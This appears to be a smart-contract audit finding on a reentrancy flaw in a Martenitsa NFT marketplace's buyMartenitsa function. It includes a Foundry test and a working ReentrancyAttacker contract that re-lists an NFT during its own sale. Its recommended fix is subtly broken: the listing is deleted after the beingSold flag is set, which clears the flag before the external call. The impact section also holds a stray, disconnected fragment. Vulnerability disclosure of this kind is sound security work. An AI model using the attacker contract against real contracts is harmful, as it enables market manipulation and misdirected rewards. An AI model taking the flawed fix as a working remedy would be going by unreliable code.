Summary
As a seller, a malicious smart contract can re-enter MartentisaMarketplace::listMartenitsaForSale from within MartentisaMarketplace::buyMartenitsaMarketplace when its fallback or receive function is triggered during the Ether transfer. The buyer will receive the NFT, but it will appear to be listed (at the re-list price set by the previous owner, the malicious smart contract).
Vulnerability Details
MartenitsaMarketplace::buyMartenitsa allows users to purchase listed Martenitsa NFTs using Ether. This function transfers Ether to the seller, which will trigger the fallback or receive function if the seller is a smart contract. The protocol does not adequately mitigate the risk that the seller could be a malicious contract, exploiting potential reentrancy vulnerabilities. Malicious code within the fallback or receive functions can re-enter MartenitsaMarketplace::listMartenitsaForSale.
function buyMartenitsa(uint256 tokenId) external payable {
Listing memory listing = tokenIdToListing[tokenId];
require(listing.forSale, "Token is not listed for sale");
require(msg.value >= listing.price, "Insufficient funds");
address seller = listing.seller;
address buyer = msg.sender;
uint256 salePrice = listing.price;
martenitsaToken.updateCountMartenitsaTokensOwner(buyer, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(seller, "sub");
delete tokenIdToListing[tokenId];
emit MartenitsaSold(tokenId, buyer, salePrice);
@> (bool sent,) = seller.call{value: salePrice}("");
require(sent, "Failed to send Ether");
martenitsaToken.safeTransferFrom(seller, buyer, tokenId);
}
Conseqently, if the seller is a malicious smart contract, it can re-list an NFT that it is just in the process of being sold. The listing will be invalid (the NFT will not be able to be bought with those listing parameters), but merely the appearance of the listing can potentially create confusion and panic in the true real owner and potentially in other users.
The following test demonstrates how the vulnerability would be exploited. It also demonstrates the limits of the reentrancy attack, i.e. that the listing will actually be invalid:
Proof of Code
Test
Place this test in e.g. MartenitsaToken.t.sol:
function testReentrancy() public {
uint256 price = 1 ether;
uint256 relistPrice = 0.1 ether;
uint256 attackedTokenId;
ReentrancyAttacker attacker = new ReentrancyAttacker(marketplace, martenitsaToken);
vm.startPrank(jack);
martenitsaToken.createMartenitsa("bracelet");
attackedTokenId = 0;
martenitsaToken.approve(address(marketplace), attackedTokenId);
marketplace.makePresent(address(attacker), attackedTokenId);
vm.stopPrank();
address[] memory newProducers = new address[](1);
newProducers[0] = address(attacker);
martenitsaToken.setProducers(newProducers);
console.log("%e", address(attacker).balance);
attacker.list(attackedTokenId, price, relistPrice);
address buyer = makeAddr("buyer");
deal(buyer, price);
vm.startPrank(buyer);
marketplace.buyMartenitsa{value: price}(attackedTokenId);
vm.stopPrank();
console.log("%e", address(attacker).balance);
assert(marketplace.getListing(attackedTokenId).forSale == true);
assert(marketplace.getListing(attackedTokenId).price != price);
assert(marketplace.getListing(attackedTokenId).price == relistPrice);
vm.startPrank(jack);
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.approve(address(marketplace), 1);
marketplace.makePresent(address(attacker), 1);
vm.stopPrank();
vm.prank(buyer);
martenitsaToken.approve(address(marketplace), attackedTokenId);
vm.expectRevert();
attacker.buy(attackedTokenId, relistPrice);
console.log("%e", address(attacker).balance);
assert(martenitsaToken.ownerOf(0) != address(attacker));
assert(martenitsaToken.ownerOf(0) == buyer);
}
Malicious Contract
For this to work, place this contract in e.g. MartenitsaToken.t.sol, under the test contract. If done so, then
rename this test contract from MartenitsaToken to MartenitsaTokenTest to avoid conflicts with the MartenitsaToken contract from MartenitsaToken.sol, and
ensure that all these imports are present in MartenitsaToken.t.sol:
Imports
import {Test, console} from "forge-std/Test.sol";
import {BaseTest, MartenitsaMarketplace, MartenitsaToken} from "./BaseTest.t.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract ReentrancyAttacker is IERC721Receiver {
MartenitsaMarketplace marketplace;
MartenitsaToken martenitsaToken;
uint256 tokenId;
uint256 relistPrice;
bool attacked = false;
constructor(MartenitsaMarketplace _marketplace, MartenitsaToken _martenitsaToken) {
marketplace = _marketplace;
martenitsaToken = _martenitsaToken;
}
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data)
external
override
returns (bytes4)
{
return this.onERC721Received.selector;
}
function list(uint256 _tokenIdToList, uint256 _price, uint256 _relistPrice) external payable {
tokenId = _tokenIdToList;
martenitsaToken.approve(address(marketplace), tokenId);
marketplace.listMartenitsaForSale(tokenId, _price);
relistPrice = _relistPrice;
}
function buy(uint256 _tokenId, uint256 _rebuyPrice) external {
marketplace.buyMartenitsa{value: _rebuyPrice}(_tokenId);
}
function _relistNftBeforeSell() internal {
marketplace.listMartenitsaForSale(tokenId, relistPrice);
attacked = true;
}
receive() external payable {
if (!attacked) {
_relistNftBeforeSell();
}
}
fallback() external payable {
if (!attacked) {
_relistNftBeforeSell();
}
}
}
Impact
As a seller, a malicious smart contract can re-list NFTs that are just in the process of being sold. The listing will be invalid, but it mere existence have multpile considerable implications:
-- by setting a low re-list price (could be 1 wei), the malicious seller could effectively tank the floor price of the whole collection. If done with multiple NFTs, the effect will be even more serious.
-- since the NFT appears to be listed, it can be voted on in a Martenitsa voting event.
martenitsaToken.safeTransferFrom(seller, buyer, tokenId);
(i.e. when the marketplace contract attempts to transfer from the NFT from the malicious contract to the prospecting new buyer, but the malicious contract is not the real owner anymore.)
-- Based on the invalid re-list data, MartenitsaEvent will continue to recognize the malicious seller as the owner of the NFT. Consequently, if this NFT wins the vote, the healthToken rewards will be sent to the malicious seller contract, not the new actual true owner of the NFT.
function announceWinner() external onlyOwner {
require(block.timestamp >= startVoteTime + duration, "The voting is active");
uint256 winnerTokenId;
uint256 maxVotes = 0;
for (uint256 i = 0; i < _tokenIds.length; i++) {
if (voteCounts[_tokenIds[i]] > maxVotes) {
maxVotes = voteCounts[_tokenIds[i]];
winnerTokenId = _tokenIds[i];
}
}
@> list = _martenitsaMarketplace.getListing(winnerTokenId);
@> _healthToken.distributeHealthToken(list.seller, 1);
emit WinnerAnnounced(winnerTokenId, list.seller);
}
Tools Used
Manual review, Foundry.
Recommendations
Implement changes that prevent the re-listing of NFTs while they are in the process of being bought:
```diff
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.21;
import "@openzeppelin/contracts/access/Ownable.sol";
import {HealthToken} from "./HealthToken.sol";
import {MartenitsaToken} from "./MartenitsaToken.sol";
contract MartenitsaMarketplace is Ownable {
HealthToken public healthToken;
MartenitsaToken public martenitsaToken;
uint256 public requiredMartenitsaTokens = 3;
struct Listing {
uint256 tokenId;
address seller;
uint256 price;
string design;
bool forSale;
+ bool beingSold;
}
mapping(address => uint256) private _collectedRewards;
mapping(uint256 => Listing) public tokenIdToListing;
event MartenitsaListed(uint256 indexed tokenId, address indexed seller, uint256 indexed price);
event MartenitsaSold(uint256 indexed tokenId, address indexed buyer, uint256 indexed price);
constructor(address _healthToken, address _martenitsaToken) Ownable(msg.sender) {
healthToken = HealthToken(_healthToken);
martenitsaToken = MartenitsaToken(_martenitsaToken);
}
/**
* @notice Function to list the martenitsa for sale. Only producers can call this function.
* @param tokenId The tokenId of martenitsa.
* @param price The price of martenitsa.
*/
function listMartenitsaForSale(uint256 tokenId, uint256 price) external {
require(msg.sender == martenitsaToken.ownerOf(tokenId), "You do not own this token");
require(martenitsaToken.isProducer(msg.sender), "You are not a producer!");
require(price > 0, "Price must be greater than zero");
+ require(!tokenIdToListing[tokenId].beingSold, "Cant list an NFT that is in the process of being sold");
Listing memory newListing = Listing({
tokenId: tokenId,
seller: msg.sender,
price: price,
design: martenitsaToken.getDesign(tokenId),
- forSale: true
+ forSale: true,
+ beingSold: false
});
tokenIdToListing[tokenId] = newListing;
emit MartenitsaListed(tokenId, msg.sender, price);
}
/**
* @notice Function to buy a martenitsa.
* @param tokenId The tokenId of martenitsa.
*/
function buyMartenitsa(uint256 tokenId) external payable {
Listing memory listing = tokenIdToListing[tokenId];
require(listing.forSale, "Token is not listed for sale");
require(msg.value >= listing.price, "Insufficient funds");
+ require(!listing.beingSold, "Cant buy an NFT that is in the process of being sold");
+ // @notice cannot use listing.beingSold = true here, as that only modifies the memory var, not the storage
+ tokenIdToListing[tokenId].beingSold = true; // set reentrancy guard
address seller = listing.seller;
address buyer = msg.sender;
uint256 salePrice = listing.price;
martenitsaToken.updateCountMartenitsaTokensOwner(buyer, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(seller, "sub");
// Clear the listing
delete tokenIdToListing[tokenId];
emit MartenitsaSold(tokenId, buyer, salePrice);
// Transfer funds to seller
(bool sent, ) = seller.call{value: salePrice}("");
require(sent, "Failed to send Ether");
// Transfer the token to the buyer
martenitsaToken.safeTransferFrom(seller, buyer, tokenId);
+ tokenIdToListing[tokenId].beingSold = false; // reset reentrancy guard
}
...
}
